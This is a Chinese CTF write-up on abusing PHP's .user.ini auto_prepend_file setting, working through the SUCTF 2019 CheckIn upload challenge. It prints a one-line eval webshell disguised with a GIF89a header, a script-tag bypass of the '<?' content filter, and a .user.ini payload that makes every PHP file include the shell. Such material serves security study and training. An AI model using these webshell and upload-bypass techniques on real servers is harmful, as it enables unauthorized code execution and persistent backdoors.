一、什么是.user.ini?
php.ini是php默认的配置文件。其中包含四种配置,
在PHP_INI_USER的配置项中,提到.user.ini。
这里作用解释如下:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。.user.ini 是PHP 支持基于每个目录的 INI 文件配置。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
这里就很清楚了,.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
这里的意思就是说我们在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,只要是使用CGI/FastCGI模式的服务器都可以使用.user.ini
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM
模式的(甚至是php.ini only的),包括disable_functions
、extension_dir
、enable_dl
等。 不过,我们可以很容易地借助.user.ini
文件来构造一个“后门”。
二、auto_prepend_file和auto_append_file
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file
、auto_prepend_file
,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=11.gif
11.gif是要包含的文件。
auto_prepend_file 在文顶部插入加载文件;
auto_append_file 在文件最后插入加载文件(当文件调用的有
exit()
时该设置无效)
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
三、例题
【SUCTF 2019】 CheckIn
<?php
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
/?文件后缀名过滤
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
/?php内容格式过滤
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
/?文件属性是否为2图像过滤
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
绕过内容过滤
绕过" <? ",用了 <script language="php">eval($_POST['a']);</script>
,但本质上还是 PHP 一句话木马,因为执行函数还是 PHP的 eval() 。
绕过文件检测
- 用的是
exif_imagetype()
函数检测文件类型。 - 简单的说,这个函数是通过检测你上传的文件名的文件头来确定文件类型。文件头通常在文件开头几个字节,相当于一个标识符。
- 所以我们只要在文件开头加上图片的文件头,就会会认为是图片文件。
绕过后缀名过滤!!!user.ini
最简单的方式就是先上传一个后缀名为 GIF的 PHP 文件,再抓包加上文件头文本 GIF89a ,或者把文件用winhex或其它工具十六进制打开,在文件头加上相应的十六进制数。当然也可以用 png 或 jpg 形式的图片马
成功传入图片马后,再上传 包含auto_prepend_file配置选项的.user.ini
文件,让它去包含我们上传的图片马。
.user.int
GIF89a
auto_prepend_file=evil.gif
成功传入.user.ini
同时,知道了存在被执行的index.php
文件,同时知道了文件路径,所以用蚁剑来连接。或者使用GET请求。